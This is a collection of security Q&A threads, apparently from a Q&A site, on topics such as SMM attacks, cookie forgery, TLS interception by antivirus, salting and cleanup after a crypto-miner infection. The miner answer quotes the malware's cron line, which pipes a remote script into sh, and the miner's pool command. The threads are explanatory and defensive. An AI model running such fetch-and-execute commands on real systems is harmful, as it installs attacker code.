However, a measured boot using a Trusted Platform Module (TPM) chip could detect the modification of the firmware flash and that some security features are disabled at boot, because the measurements made (cryptographic hashes) are not genuine. Such detection is possible if the measured boot process is properly implemented by the vendor. The measurement process relies on a core root of trust where the first component measuring the next one is trusted. Hence, if this first component is the firmware contained in the flash, the attacker can fake the measurements without being detected.
It can be stealthy and just overwrite the code executed in SMM, located in SMRAM, without modifying the flash. This way it controls the code executed in SMM and can monitor or modify the behavior of the OS. The stealthiness comes from the fact that if the computer is rebooted, there is no traces of the attack in the flash (since everything was in RAM). Lots of computers, however, do not reboot that often (e.g. servers), hence the attacker does not need to reinfect the machine to still have control over it.


Baking a better cookie - How can we prevent a high-jacking of the user's local cookie file to exploit accepted cookie use? This question is similar to Hashing cookie-values & preventing cookie-stealing however, it is significantly different as I am interested in preventing (internal) subscription fraud, rather than an attack on the user's terminal from a malicious third party.

I have been using a simple local cookie to save my paid-subscriber site's user's user id. This prevents them from becoming annoyed by constant log-in requests. Nothing out-of-the-ordinary here.

My concern is that it is too simple and can too easily be hacked by cutting and pasting the PC's local cookie file.

If I were to track down my local cookie file on my PC, which is easy enough, I can copy it to a text reader and search until I find the info related to my site:

GA1.2.662049077.1549644533U8EMOÔ¬AÔ¡Aexample.com__atuvc/1%7C5~8GPRÄâ’
¬AÄ…;N¡A.example.com__cfduid/d1240692ee84f4c8c756cee833d313a841558986
714ì±3µ”`ËoÙ_8O[]Ñcˇ¡Aƒ¡Awww.mysite.commy_cookie/7www.example.com8O^~
Ã¡A¢π¡Awww.GA1.2.662049077.1549644533U8EMOÔ¬AÔ¡Aexample.com__atuvc/34
GA1.2.662049077.1549644533U8EMOÔ¬AÔ¡Aexample.com__atuvc/

And there it is: www.mysite.commy_cookie/7

It wouldn't take an overly talented analyst to figure out that this is a cookie which stores the user id for user # 7. If badhacker325 wanted perpetual access, badhacker325 could paste www.mysite.commy_cookie/7 into the local cookie file and have perpetual, free access.

As coders and bakers of cookies, what tools do we have to prevent this kind of freeloading attack?

It might be germane to know that I am working in php; though the scope here goes beyond coding language, imo.

Not being the lazy sort, I have tried to work this out. I have solved for some scenarios, but I'm stuck on one component which I will identify below (mostly to maintain the suspense). Here are my attempts so far:

I have – instead of storing the simple user id 7 – created an array of:

user_id
cookie_creation_time
user_ip
salt

I then imploded that to a delimited string, hashed it to unrecognizable bits and stored it. Now we get a cookie like this:

www.mysite.commy_cookie/d1240692ee84f4c8c756c
ee833d313a841558986771www.example.com8O^~¬3†¢

This, however, still does not stop a user from idiot-savant copying the hash to their local cookies file and gaining access to my site like nothing was ever wrong.

What it does do correctly:

When reading back the IP, the script can discover that the users location is different from the location at which the cookie was set. This is a fail state, and the user is requested to re-enter their password.

This solves for space, but not time. (I'm not Einstein yet.)

My next thoughts were to use the creation_time value to test against a server value, and if that fails, to have the user re-enter their password. However, this seems to defeat the purpose of the expires parametre of php's setcookie.

I suspect that I am overthinking this — or perhaps have misinterpreted some aspect of cookie usage altogether.

Does anybody have any thoughts? How can we prevent a high-jacking of the user's local cookie file to exploit accepted cookie use?

As I understand your question, you are storing the user ID in a cookie. The server then blindly trust this value when the client sends back a user ID.

That design is vulnerable, and trivial to hack. An attacker doesn't even need to copy a cookie, just set one to an arbitrary number and bam, you are logged in as that user. Your suggested fixes does not solve the problem. Using an  array might obfuscate it a little, but nothing more. Checking the IP doesn't help if the attacker is on the same network, e.g. a different computer on the same workplace. It also brakes the site for many mobile users, who may have different IP:s as they switch between cell phone towers.

The root problem here is that you trust the client. To fix this problem, your server must stop trusting any information the client provides it with. There are two main ways to accomplish this:

Use sessions. The cookie only contains a random unguessable ID, then information like what user is associated with that ID is stored on your server.
Use signed cookies. There are existing implementations for this, the most popular being JWT. You should not try to come up with your own implementation!

Note that none of these protect you against an attacker with access to the victims computer simply stealing the cookie. But that is not an attack you really can protect from (unless you want to have constant password re-entry).


Certificate substitution by antivirus I have installed antivirus and noticed that all https sites I am visiting use the certificate of antivirus's manufacturer. It looks like man-in-the-middle attack and I understand why the antivirus's manufacturer do it: it is only way to check https traffic and find threats.

But my knowledge is not enough to answer to next two questions:

What is the new certificate? It is the certificate which was generated in my computer when I was installing the antivirus ? Or it is the one certificate for all users of this antivirus ?
What are the new attack vectors with this substituted certificate ?

What is the new certificate?

This depends on your AV manufacturer. It should be a wholly new generated certificate that is signed (or self-signed) upon installation, which is then put in your trusted root store. This way, the certificate is decoupled from the security vendor, and the private key is... well... private and unique to your computer. However, that may or may not happen. The AV vendor could use a single certificate that they generated and included with the installer. In the latter case, if the the security vendor loses control of the cert or the signing keys, it leaves the consumers vulnerable.

  What are the new attack vectors

Attack vectors include:

Bad actors replacing the certificate with their own, and sniffing traffic.
Security vendor doing something stupid with the certificate like including the private key so that attackers can mint their own certificates from that key and spy on your traffic.
Alter, change, and inject content on pages you visit.
Security vendor using weak security on the certificates, which is easy for bad actors to break and thus mint their own to take advantage of the cert installed on your machine.

There numerous other examples of failures resulting from bad implementations, which highlight the intricacies and complexities of trying to do this correctly. In my opinion, there is no need for a security vendor to do this. Vendors claim it will protect you from the dangers of the web, but this supposed increase in security (modest at best) opens you up to the weakest link in the vendor's entire chain. (More humans, more problems.)


Extract X509 client certificates from TCPdump files I have the following question: assuming I have a TCPDump file containing a number of HTTPS connections using TLS mutual authentication, is there a way to extract all client certificates sent to the server ?

Some background I have a customer where a SOAP service I provided was setup to use HTTPS with client authentication. The requirement where to use self-signed certificate in both end of the connection and the server is running on 2008R2+IIS.

Four years ago, I had to perform the installation and instructed the admins how to manage the client certificates. This month, the customer came back to me (as I expected) saying that they have made a mess and that they have now 6 times more certificates than they have connections that are being allowed to connect. Since they are migrating, they want my help to cleanup that mess.

The certificates have been created by people of various level of competencies: a few are well defined and can be readily identified. But others are clearly the result of someone ready a minimal "How to create an X509v1 cert": 1024 bits RSA keys, nothing useful in the subject, etc.

I had two ideas on how to approach this: the first was to create different local users for the different certs, change the IIS client certificate mapping to use these new users and then simply parse the IIS log to see who is connecting. This is still possible but, given the requirement from the admins, it would require them to create numerous AD accounts and grant all of them rights on the database: that's going to take them very long to setup (not counting the fact that it'll be a pain to configure is IIS).

So, I was wondering if I couldn't just use a network monitor to dump all HTTPS sessions going to that socket of and enumerate all the certificates that are used as client auth in the TLS handshake.

Since the certificate is transferred in clear within the TLS handshake you can extract it. Tool of choice is probably wireshark which gives you a very good view of all the TLS handshake details so you can easily extract the certificate manually.

See also https://ask.wireshark.org/answer_link/17261/ for a more automated way by using the command line version tshark. While the example there is probably created for server certificates it should work for client certificates too (untested).


What factors do you use to choose data loss prevention techniques to use, if any? Had an excellent discussion this evening with ISACA Scotland around data loss prevention. There are technical tools out there from such luminaries as Checkpoint, MacAfee, Cisco, Symantec etc, but all have cost implications, scale limitations and implementation issues.

If you use a DLP solution or are planning to use one, what factors did you look at in order to make a business case?

As described by this talk at Confidence'09, There are some arguments against the deployment of certain DLP solutions (I realise that this is a contentious issue but these concerns should at least be evaluated).

In essence many of these solutions are in fact nothing more than legitimate rootkits. The research behind the linked talk found that one of the DLP solutions investigated was actually a modified version of a well known rootkit found on rootkit.com! This could potentially been seen as a problem for a number of reasons. One of which is that if as described by the research none of the rootkit detection solutions successfully detected any of the DLP solutions, isn’t it possible (likely?) that AV vendors (intentionally) may not detect their own (or others?) DLP solutions with their rootkit detection kits? Would it therefore be possible to modify these allowed/legitimate DLP rootkits to produce a highly covert rootkit with very little chance of detection?

There could also be room for concern over the overall security of these solutions. By collecting and distributing reams of potentially sensitive information and providing ring 0 (system) control over every end user system on the corporate environment to a management server, you're placing a hell of a lot of trust in the security of the DLP solution itself. Wouldn't an attacker go straight for the DLP solution? That is one serious single point of total failure!

It's a subjective point I know, but what about the wider implications of spying on users to this degree? I know many who would seriously resent a company taking these actions. Doesn't it eliminate any notion of trust between the individual and company? I am a pragmatist at heart and so do see the benefits of these solutions (and indeed can empathise with a CISO attempting to protect corporate interests) but for an industry that invests such energy into the promotion of privacy doesn't something just plain feel wrong about engineering solutions which so completely destroy this for the individual in the workplace?


What is the difference between PGP and asymmetric encryption? I read about 3 main types of encryption: symmetric, asymmetric, PGP. I can figure out the difference between asymmetric and symmetric. But what is the difference between asymmetric and PGP?

PGP is a specific implementation of asymmetric encryption*.  The original product ("Pretty Good Privacy") spawned an open variant called OpenPGP (and a number of standards), and alternate implementations like GPG are also often referred to as "PGP".

So, PGP is just a product that implements asymmetric encryption, but is done so for so long and with so many variants it is often spoken of at the same level as symmetric and asymmetric.

*As @Schroeder points out, PGP actually implements a solution such that symmetric encryption is used to encrypt data, and asymmetric encryption is used to encrypt the key, since asymmetric encryption can't encrypt anything larger than its own key size.  This bundle is commonly referred to as "asymmetric encryption" even though it's a hybrid model.


Is "permission (role) granting" safer, than giving direct access to primary account? The role assignment is excellent feature over the various platforms (Google, GitHub, Facebook, etc. ).
However, I've been thinking about a specific security "threat" which might arise from that.

Let's say, Nick is someone with my absolute confidence in him/her. I want to take him as an administrator of my important project (S/HE will work on the project only from the office workstation).

I've two choice:

1) Grant his user permission to the project directly (his account is secured with 2-step auth too).

or

2) Give the access to our primary account (which is secured with 2-step authorization and only I can grant him with one-time code during the first-login), from where it will access the project.

The reason that I don't fully like the first method, is that s/he has a total freedom of where to use his account, on mobile, laptop, PC, guest house or who knows, and as s/he is not a security expert (but a typical user that is helping me), of course there is chances, that one day his account might get hacked  (viruses, bots, infected PC or whatever threats), so, my project will be under a risk too.

There are of course higher threats against giving access to main account, but the reason that main account will be used ONLY from office WorkStation (and only authorized by my given codes), I couldn't finally decide which method could be more secure in such cases...

In a sensitive system, user accounts should never be shared. This is for liability, auditability, nonrepudiation, and compliance reasons. So giving out the main account is out of the question.


Removing files from drive while encrypting with Bitlocker I have a 4 TB external hard disk with 200 GB files on it. I started the encryption process with Bitlocker, but it is taking too long.

Can I pause the encryption process, move the 200 GB from the drive to empty it and then resume the encryption process? Will the encryption process, the drive or the files on the drive be damaged when I do this?

It is not just data we need to think about - but also the file system and the metadata associated with the files as well as the file system.

If ( a big IF ) we can determine for sure that BitLocker has only encrypted the free space so far (skipping all else), then the question you asked becomes at least a theoretical possibility (still depends on how BitLocker code is written - whether it detects changes to disk after it starts encryption, and how it handles such changes).

In general, file system data is not only stored at the beginning but also some redundant copies are stored in other places.

We must assume that BitLocker has already encrypted such metadata - and any changes you make to the file system (such as deleting files) changes the already encrypted data (including free blocks, number of files, directories, etc).

So my answer is NO. You're much better off stopping the encryption altogether; doing whatever housekeeping you want to do and then restarting afresh.


After having confirmed a computer is infected by a Botnet. And having found a server IP that is controlling it. How can I find out the log-in credentials this client uses to log in to a IRC channel / server webpage / control panel. I have found out a python script the host gets. Just cant get myself to find the C&C server to mess around with it.

Using a packet sniffer (like wireshark or tcpdump) you would monitor the traffic between your machine and the internet.  You'll want to restart all your connections so the bot needs to reconnect.  Figure out where its going and you can follow it.


Are quickly closed pop-up windows in browsers a threat? Occasionally I'll be on sites I trust, and an ad will pop up. There will be an X saying to close the ad, in a pretty standard location (upper right corner of the frame, sometimes just outside the frame). I, hating ads, will click that X.

I've noticed that on occasion, when I click this a fully collapsed separate browser window will open, hang around for a second or two, then close itself.

This makes me really paranoid. I can't think of any vulnerabilities that I may be opening myself up to, but the fact that the page is so deliberately hidden forces my mind to wander towards malice. (I know clicking some sketchy download link or the ad itself opens me up, but I'm almost always certain these look and act like a regular close option)

Is this a cause for concern? If so, are there precautions I can take to make sure I don't click something malicious?

I don't know the sites that you are referring to so I can't say with certain what was going on behind the scenes, but I can perhaps explain how this happens within the scope of digital advertising.

What I believe you are referring to is a practice known as clickjacking, and this is sadly quite a common practice. See this OWASP page for more information.

Ordinarily when I detect this kind of behavior the clickjacking is used to falsely attribute your legitimate attempt to close a window with an advertising click, which essentially registers a click-through event on the would-be-visible ad. Generally [legitimate] clicks tell the advertiser that the ad (impression) was seen and interacted with by a [hopefully] real human visitor, and the advertiser rewards the publisher (the site that hosts the ad) with payment for serving the impression.

Unfortunately, in the malicious case of clickjacking attacks, the perpetrator gets paid and the advertiser's ad is never seen (though is inadvertently clicked on).

Hope this helps shed some light on what could be going on, but @bashCyper's answer is absolutely right, it is a threat and it is recommended to always keep your browser updated in order to protect yourself.

UPDATE:

Additionally, clickjacking can also provide the attacker with specific information about you. Digital advertising is one of the most effective ways to recon potential victims because of the invasive nature with regards to the information that is collected. Information grabbed by advertisers after a click is registered can be: browser type, version, IP, OS, etc. All of which can be used to mount highly precise malvertising campaigns, which essentially attempt to deliver malware via digital advertisements that target specific browser versions with known vulnerabilities! See the below articles for more information about this.

https://www.wired.com/insights/2014/11/malvertising-is-cybercriminals-latest-sweet-spot/
https://www.scmagazine.com/scammers-exploit-native-ad-content-providers-to-serve-malvertising/article/696789/


Is storing the same data multiple times with different encryption keys a security issue? I'm looking to create a system where a lot of the data is encrypted within the database. The encryption method will be a currently accepted strong algorithm.

To access this data, a user would need to log in and then the data will need to be decrypted with some key. There will be many users who should all have access to the same data.

I don't want to store this 'master' key in the source code (PHP), on disk, or anywhere else in plain text.

So, I thought I could encrypt the 'master' decryption key with each users' own password and store it alongside their user record. Upon login, they get the decrypted master key, which is then available in memory for them to decrypt the application data.

My initial concern is that if there is a data breach of source code and data, then an attacker would see that the same key was encrypted many times (once for each user). Could this then reduce the security of the 'master' key? Either by patterns in the encrypted data or by testing that a decryption attempt on one record matches that of another?

Or, am I simply barking up the wrong tree and there is a better method already out there?

You are describing a few different problems.

Storage of credentials and other secrets

  I don't want to store this 'master' key in the source code (PHP), on disk, or anywhere else in plain text.

You are correct that hardcoding secrets is a bad idea, you may want to try using something like hashicorpo-vault (This particular article may be related to your workflow as well) or a Key management service like Amazon KMS.

Multi-user Encrypted Access

There are a few different strategies to this type of setup. You can encrypt the data with a shared key and then encrypt that key for each user using the user's public key. You would then need to update the per file key and re-encrypt with each user's public key again if there was any change in the access group's membership.

Deriving a key based on the password can be complicated because you need to ensure you properly update all of the keys and redo all the encryption if the user's password changes.

You may want to look at MIT's Mylar project, as it tries to accomplish something similar to the storage and access model you described.

Breach scenario

  My initial concern is that if there is a data breach of source code and data, then an attacker would see that the same key was encrypted many times (once for each user). Could this then reduce the security of the 'master' key?

If you are ever decrypting server side and the attacker has access they can grab the decrypted copy of the data.

If you are creating user's private keys using the password as the seed then you have some risks especially if the passwords can be identified by stealing them or reversing the hashes.

More Generally

  Could this then reduce the security of the 'master' key? Either by patterns in the encrypted data or by testing that a decryption attempt on one record matches that of another?

I believe you are asking if encrypting the same value with multiple different per-user keys would make it easier to get back to the original plaintext value (?).

If you happen to know the plaintext value you may be able to figure out the other encryption values. This is known as a "known plaintext" attack. However, this does not mean it works if you just happen to know two different encryption outcomes and know the input was the same, but you don't know the actual input.

Your question may also be that given encryption function f(key, masterkey) and then running it once with key1 and then with key2 would comparing the two outcomes allow you to figure out masterkey or would knowing the output of f(key1, masterkey) allow you to figure out key2?

It may be possible, but would depend on the specific algorithms, if there is padding, etc. If there is significant entropy in the algorithms then slight changes in inputs should give very different outputs that do not show patterns. You may also want to read up on "weak keys" and chosen-plaintext attacks.


Two factor authentication and plausible deniability for disk encryption Can you prove, for the most common disk encryption programs like Veracrypt or LUKS/dmcrypt, that a second factor like a yubikey or a keyfile on a USB disk is required? If this is not the case is there anything the end user could do? Like some configuration options?

In some countries there are key disclosure laws and in case plausible deniability would be possible you could just claim the dog ate it. They probably still won't believe you, but anyways.

It is impossible to tell if a keyfile is required. There is no difference, from an attacker's perspective, between being unable to decrypt a drive because they are exactly one letter off in the password, and because they are missing an entire keyfile. All they know is that they are unable to decrypt it. In fact, if I were to give you a hard drive that has random data on it, you would be unable to tell if I had encrypted it with a password, with a password and a keyfile, or even if it is not encrypted at all and was just wiped.

When you use a keyfile, it is mixed with the password. This is then is used to derive the key that decrypts the header to retrieve the master key. A keyfile can thus be thought of as an extension of your password.


How can I kill minerd malware on an AWS EC2 instance? I have an AWS EC2 instance running RHEL 7.2 which seems to have been hacked by a BitCoin CPU Miner. When I run ps -eo pcpu,args --sort=-%cpu | head, it shows that there is a CPU miner that's taking up more than 90% of CPU utilization.

%CPU COMMAND
99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 47TS1NQvebb3Feq91MqKdSGCUq18dTEdmfTTrRSGFFC2fK85NRdABwUasUA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x

It also shows up when I run top -bn2 |sed -n '7,25'p -

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
21863 root      20   0  237844   3300   1012 S 42.0  0.1   3:49.55 minerd

I keep trying to remove minerd from /opt/ but it keeps spinning itself up again. Previously I had KHK75NEOiq33 and a yam directory. I was able to delete them but not minerd.

How can I permanently remove this? I've also tried killing the PID individually with sudo kill -9 and sudo kill -2. Is there any antivirus that I can use to get rid of it?

EDIT - The question was marked as a possible duplicate to another question. However, the difference is that I'm inquiring about a specific malware. I have found the solution to the question, which I will be posting below.

I found the solution to removing minerd. I was lucky enough to find the actual script that was used to infect my server. All I had to do was remove the elements placed by this script -

On monkeyoto's suggestion, I blocked all communication with the mining pool server - iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
Removed the cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh from /var/spool/cron/root and /var/spool/cron/crontabs/root.
Removed the directory /opt/yam.
Removed /root/.ssh/KHK75NEOiq.
Deleted the files /opt/minerd and /opt/KHK75NEOiq33.
Stopped the minerd process - pkill minerd.
Stopped lady - service lady stop.

I ran ps -eo pcpu,args --sort=-%cpu | head, top -bn2 |sed -n '7,25'p and ps aux | grep minerd after that and the malware was nowhere to be seen.

I still need to figure out how it gained access into the system but I was able to disable it this way.


What is the purpose of the entropy parameter for DPAPI.Protect? So in Windows, when you make a call to the Data Protection API, you can specify some bytes as "entropy".

To me, this sounds like salt. In PBKDF2, the salt is can, and in fact needs to be stored as plain text. It does not compromise the security of the algorithm, it's part of the implementation of it.

Does the "entropy" you pass to the DPAPI serve the same function? I've read that all it does is make your key application-specific, to an extent, in that if the logged in user read out the keys stored with DPAPI, they couldn't decrypt your encrypted data without the entropy. Of course, the entropy would have to be stored as plain text (or else you end up with an infinite regress).

So, is it OK to store the entropy as plain text (maybe hardcode it)?

Thanks to dr jimbob:

The entropy parameter "is optional entropy provided by the application that will be added to the key derivation [...] By default, DPAPI already uses different entropy for each blob, so in practice adding additional entropy does not [bold added] improve encryption security. According to the documentation, its purpose is to allow applications relying on DPAPI to mitigate the risk of having their secrets stolen by another application. In our test, we found that only GTalk used the conditional entropy, with its value is stored in a registry key and therefore not a real hurdle for the attacker."

The MSDN documentation does a pretty good job of explaining it:

A small drawback to using the logon password is that all applications running under the same user can access any protected data that they know about. Of course, because applications must store their own protected data, gaining access to the data could be somewhat difficult for other applications, but certainly not impossible.

Basically, if someone discovers some protected data (e.g. an encrypted connection string stored in the registry), a simple application running in the context of the of the user could trivially use DPAPI to decrypt the protected data.

To counteract this, DPAPI allows an application to use an additional secret when protecting data. This additional secret is then required to unprotect the data.
Technically, this "secret" should be called secondary entropy. It is secondary because, while it doesn't strengthen the key used to encrypt the data, it does increase the difficulty of one application, running under the same user, to compromise another application's encryption key. Applications should be careful about how they use and store this entropy. If it is simply saved to a file unprotected, then adversaries could access the entropy and use it to unprotect an application's data.

Clearly storing the entropy in plaintext in the same location as the protected data completely defeats the purpose.
The parameter is further explained as follows:
Internal Protect Function

pOptionalEntropy
Pointer to a DATA_BLOB containing additional entropy used to protect the data. The cbData member holds the length of the pbData member's byte string that contains the optional entropy. The DATA_BLOB used in the protection call must also be used in the unprotection call. This is the application specific "secret" mentioned earlier.
This parameter is optional and can be NULL.

Internal Unprotect Function

pOptionalEntropy
Pointer to a DATA_BLOB containing additional entropy used when the data was protected. The cbData member holds the length of the pbData member's byte string that contains the optional entropy. This is the application specific "secret" mentioned earlier.
This parameter is optional and can be NULL. However, if the optional entropy was used in the protection call, that same entropy must be used in the unprotection call.

Therefore you would be able to increase protection against other applications (or even the user) by using the entropy parameter, and making it a little difficult to discover the entropy value.
So, is it OK to store the entropy as plain text (maybe hardcode it)?
Plaintext is probably fine, provided the location is difficult to find or access. Putting it in the same location as the protected data is somewhat pointless.
You won't be able to get "perfect security" against an attack that already has user access and sufficient time and resources. But there are a few little things you can do to slow them down:

If you hard-code the entropy value in the application, it can be found in the binary. But this is more difficult to do.
If you apply a simple transformation (such as XOR) to the entropy value before using it, your application would need to be decompiled or the source-code otherwise compromised in order for an attacker to know what to do.
You could store your entropy value remotely. This means an attacker would need to know where to find it. And need appropriate other credentials to access it. (Of course said other credentials would also need to be accessible to the application, which is why "perfect security" in this scenario is not possible.)


Can you exploit an application that imports a vulnerable library, but does not actually use the classes from the library? Suppose you have vulnerable library, vuln-lib.jar, that you then import into your source code but never actually use:

#My imports
import com.vuln.lib.*

#My code ..

And you go onto to deploy this application to a server. Is it possible to exploit a known vulnerability in this library even if your code does not use any of the classes the library provides as part of the source code? And if so, how would that happen?

Yes, this can be done under the right circumstances via deserialization.

Your jar file must have a serializable class which can be used in a gadget chain
Your jar file must be on the classpath
An attacker must be able to provide data that your application deserializes

The attacker provides that data, referencing the class in your jar file in the serialized stream of data.

There are lots of articles and videos available on deserialization and why it's an issue.  You might find https://github.com/trendmicro/SecureCodingDojo/ useful as well.


man in the middle attack over internet I've performed some man in the middle attacks (arp poisoning) using ettercap, stuffs on kali linux and i know how exactly it is working. but i was wondering if this attack could be  even performed over internet ?! like poisoning clients on a router on our traceroute way !
i read about BGP/ip/prefix hijacking but i couldn't find any example or tutorial or a good guideline on how to perform these kind of attacks (seems nobody did it before ) ! i just wanna know is it really possible ? and if yes , i'd be glad if someone could suggest me a tutorial or anything i can learn them .

regards,
mohammmad

BGP hijacking is real and there are enough and easy to find reports in the internet, like this one or this one or this one. But of course you need to be at the right place to do it. Simple from your DSL connected system is not possible but you need to be at the level of ISP's which actually participate in BGP routing. Though you can still play with the techniques in your own virtual playground.

Of course poisining routers is possible too but even there you need to have access, i.e. only the ISP or government agencies.


How does salting increase security? I'm currently going through a course on software security. I've recently been introduced to the idea of password salting, where a random value is concatenated to a password prior to being hashed and stored. I believe I understand the operation correctly, but I don't understand how this makes the process itself any more secure.

Obviously, for authentication to occur, there has to be a reference to the salt used for the specific password during creation, thus creating a matching hash. In this reference there is a direct link to both the salt and the password/hash. If a perpetrator has access to the database, thus compromising both the hashes and salts, would he not have access to the algorithm or references to the salt as well?

Based on my understanding of salting, this method seems to be security by obscurity.

This topic is documented extensively all over the web as well as on this site, so taking the time to do some research on your own would have been a much faster way to get answers. However, if you're just having trouble understanding the concept a simple explanation may help.

Simply put, it alters the hash of a password so that it does not physically match the hash of another password.

For example, a user has the password, "password123" and is put through a SHA1 hash. In the password database, all of the users with the password "password123" will have the exact same hash, because of the nature of hashing functions.

So, if an attacker was to breach the database and brute force the password of the user mentioned above, he could look for all the hashes that match the original user's and would know their passwords are also "password123".

By implementing a salt, the password hashes would no longer be identical to one another, even though the actual password is still the same. This requires the attacker to go in and attempt to brute force the second password (which has a different salt), even though it may be the same as the first. In a nutshell, it prevents an attacker from uncovering one password and subsequently uncovering multiple others.

In your question, you are correct that the salt is typically right next to the hash, such that anyone that has gained access to a database of password hashes would also have access to the salts. However, that doesn't detract from the original purpose in that it is preventing multiple hashes from being brute forced in a single guess. Each and every hash has to be guessed on its own.


How does credit card authorization work Few days ago I heard a professional scammer explaining how he exploits the banks, I cant find the right word to describe his actions, even the word scam does not fit as he is not breaking the law but exploiting it.

He was explaining how he gets on a cheap flight and during the journey he buys as much as he can of goods using his credit card. According to him the pin verification happens locally without the need for any kind of communication with the bank and that is why he has to use his credit card (he can use a stolen one but he is not a thief and he does not want to go to prison).

However the credit limit on that card cant be determined unless there is some kind of communication between the card and the bank and that's not possible on cheap flights as using mobile phones is not allowed.

In simple words: he can borrow more than he is allowed to.

I might have got it wrong since he was not explaining to me, I was only sitting next to his table in a public place.

This isn't so much an authorization question as it is a fraud question.  The defrauder is taking advantage of the known offline condition to incur a debt that he does not intend to repay.

As a prior answer explained, there are two phases in using a credit card.  The first phase is authorization, where the merchant gives the account information and transaction amount to their payment processor.  The processor contacts the "issuing bank", who issued the card to the customer.  The bank examines the customer's account, makes sure the credit limit is high enough, that the bills are being paid on time, that sort of thing, and creates their approval in the form of a randomly generated number, called an approval code.  This number is proof that the authorization took place at the bank, and it is the signal that the bank is willing to accept the risk of this transaction not being paid in the future by the cardholder.  The approval code is sent back to the merchant, who prints it on the receipt.

In the second phase, the settlement process is where the merchant sends the day's transactions to the payment processor, and this will include all transactions, whether or not they have approval codes.  As a part of settlement, all the money from all those transactions, including the unapproved transactions, will be transferred from the banks to the merchant's account.  (The processor brokers these exchanges for a fee.)

The merchant (in this case the airline) may be willing to accept the risk of conducting credit transactions without authorization.  An airline would generally have only small transactions for in-flight goods and services (a few dollars for alcoholic drinks, a movie rental, or perhaps a more expensive upgrade to first class.)  It's not an amount that puts their business at risk, and the overall amount of money lost to in-flight fraud may be less than the cost of owning in-flight credit authorization terminals.  When they accept these transactions they are offline and obviously cannot get an approval code from the bank.  At the end of the flight, the airline sends them all to their processor for payment.

Later, the issuing bank will send a bill to the person, asking for him to repay his debt.  If he refuses, the bank will look at the transaction and say "this came from Pseudo Payment Processors, who got it from Mythical Airlines, but we never gave them an approval code saying we authorized the charge."  The bank will then issue a "chargeback" to the processor, who will in turn pass the chargeback to the airline.  A chargeback is simply a request to repay the money.  Since they have no approval code as evidence they received the bank's authorization to conduct the transaction, the money comes back out of the airline's pocket, and the airline is not paid for the goods and services they provided in-flight. The airline may then attempt to collect the money another way.

Make no mistake: taking the goods while misrepresenting intent to pay for them meets the legal definition of fraud.  The person "at the next table" was a thief.


Schemes for ID obfuscation like Facebook app scoped IDs After certain privacy concerns Facebook rolled out a bunch of changes to their APIs, one being "scoping" user identifiers per app. In effect, this means that Alice's canonical facebook user ID is never shared through facebook APIs, but each app sees a unique never-changing value.

To formalize this through two functions:

mask(user_id, app_id)
unmask(masked_id, app_id)

These functions should satisfy some properties:

reversible: user_id == unmask(mask(user_id, app_id), app_id)
secret: given y = mask(user_id, app_id) it should be 'hard' to obtain the original user_id.
deterministic: mask(user_id, app_id) == mask(user_id, app_id), where user_id == user_id and app_id == app_id
collision resistant: for all user ids, given the same app_id, it should not be the case that mask(user_id1, app_id) == mask(user_id2, app_id)

After a lot of reading, I have come up with two possible implementations:

Stateful: store a triple (user_id, app_id, hash(user_id, app_id)).

Stateless: for each app_id generate & store a secret, and encrypt(user_id, secret) on the fly. the encryption should be a deterministic cypher, such as AES-SIV.

Both of these approaches have fairly significant downsides. The stateful approach infers an incredible persistence cost -

Is there some other approach I might be missing here? I think this is a deceptively easy problem, looking forward to get some insight.

What if they have a symmetric key for a 64bit block cipher stored per App, that they do not reveal to the App developers, stored right next to the App Id in their system, and they encrypt the real user id with this per-app key? This has no storage cost (the encrypted user id does not need to be stored) and processing cost is just one cipher block operation per user id in API serializer/deserializer (e.g. if it's an API request that returns a list of 100 users who have liked a page or whatever, then 100 cipher block operations are needed and they can be done in parallel).

I do not know if this is what they do, but would this satisfy your requirements?

We know the per-app user id is 64 bits (I think I remember documentation stating 63 bits would not be enough). So the block cipher must have 64 bit blocks. So it's not AES because AES has 128 bit blocks, and I don't think they would use 3DES because it's slow. It might be DES. There are plenty of block ciphers to choose from: Blowfish, CAST-128, TEA, IDEA, RC2, RC5, etc.


Finding a future-proof password manager Currently, I am a Windows 10 user who uses Chrome's default password manager and let it autofill in passwords for me.

Apparently, if I were to accidentally execute malware or give someone momentary access to my computer as a Windows user, they could not only scrape all of my Chrome autofill usernames, e-mails, and respective websites, but also easily decrypt all of my passwords to plaintext using the CryptUnprotectData function since all of the information is stored locally in a .db file. Do all offline password managers have this problem?

I assume an online password manager such as LastPass would help prevent this since all of the passwords are stored on the cloud rather than locally, and even if the malware keylogged my master password, it'd still need to pass 2FA to get to my passwords.

Another concern I have is the integrity of the passwords. I am not practicing good security habits right now and tend to use the same few passwords across 30 websites only because I can remember all of them.

If I were to generate a random long-character password for each website using a password manager such as LastPass, how can I be confident that the application will safely store and remember my passwords for the foreseeable future? What is simply stopping the authors from say, randomly shutting down the app in 5 years and then I will have essentially lost all of the passwords to my accounts, having randomly generated them all? Is this an unlikely scenario? And is there a way to safely and securely export all of my passwords in the unlikely event that this happens?

Offline password managers may store your passwords in an encrypted file that can be only decrypted with a "master password". Hence, a malware would need to do one of the following:

Perform keylogging in order to spy on your master password, then find the password file, decrypt it and parse it
Read passwords from memory during runtime, when the passwords are already decrypted

This provides you with more security in the sense that such an attack is less likely to be automated.
A malware author would need to study intrinsic details about your password manager in order to perform such an attack. I argue that a widespread Windows malware is more likely to go for CryptUnprotectData, instead of targeting a specific password manager.

Regarding availability: Never ever use a password manager without an (encrypted) offline backup capability.


How to create a self-signed client-certificate without a CA? I tried A lot of articles online generating certificates using openssl, but unfortunately none of them worked for me :(

There is a website that everytime I visit throws me this error:

  Sorry, but you need to provide a client certificate to continue.

I do not have the CA certificate to generate myself a client-side certificate . As of yet All I have is using:

curl --insecure -v https://10.10.10.131/ 2>&1 | awk 'BEGIN { cert=0 } /^\* Server certificate:/ { cert=1 } /^\*/ { if (cert) print }'

The output I get is:

* Server certificate:
*  subject: CN=abc; O=D E F
*  start date: Jan 27 08:35:30 2019 GMT
*  expire date: Jan 24 08:35:30 2029 GMT
*  issuer: CN=abc; O=D E F
*  SSL certificate verify result: self signed certificate (18), continuing anyway.
* Connection #0 to host 192.168.1.38 left intact

Is there somehow to generate my own client-certificate that would be accepted by the server without any CA?

Server is running Node.js Express framework
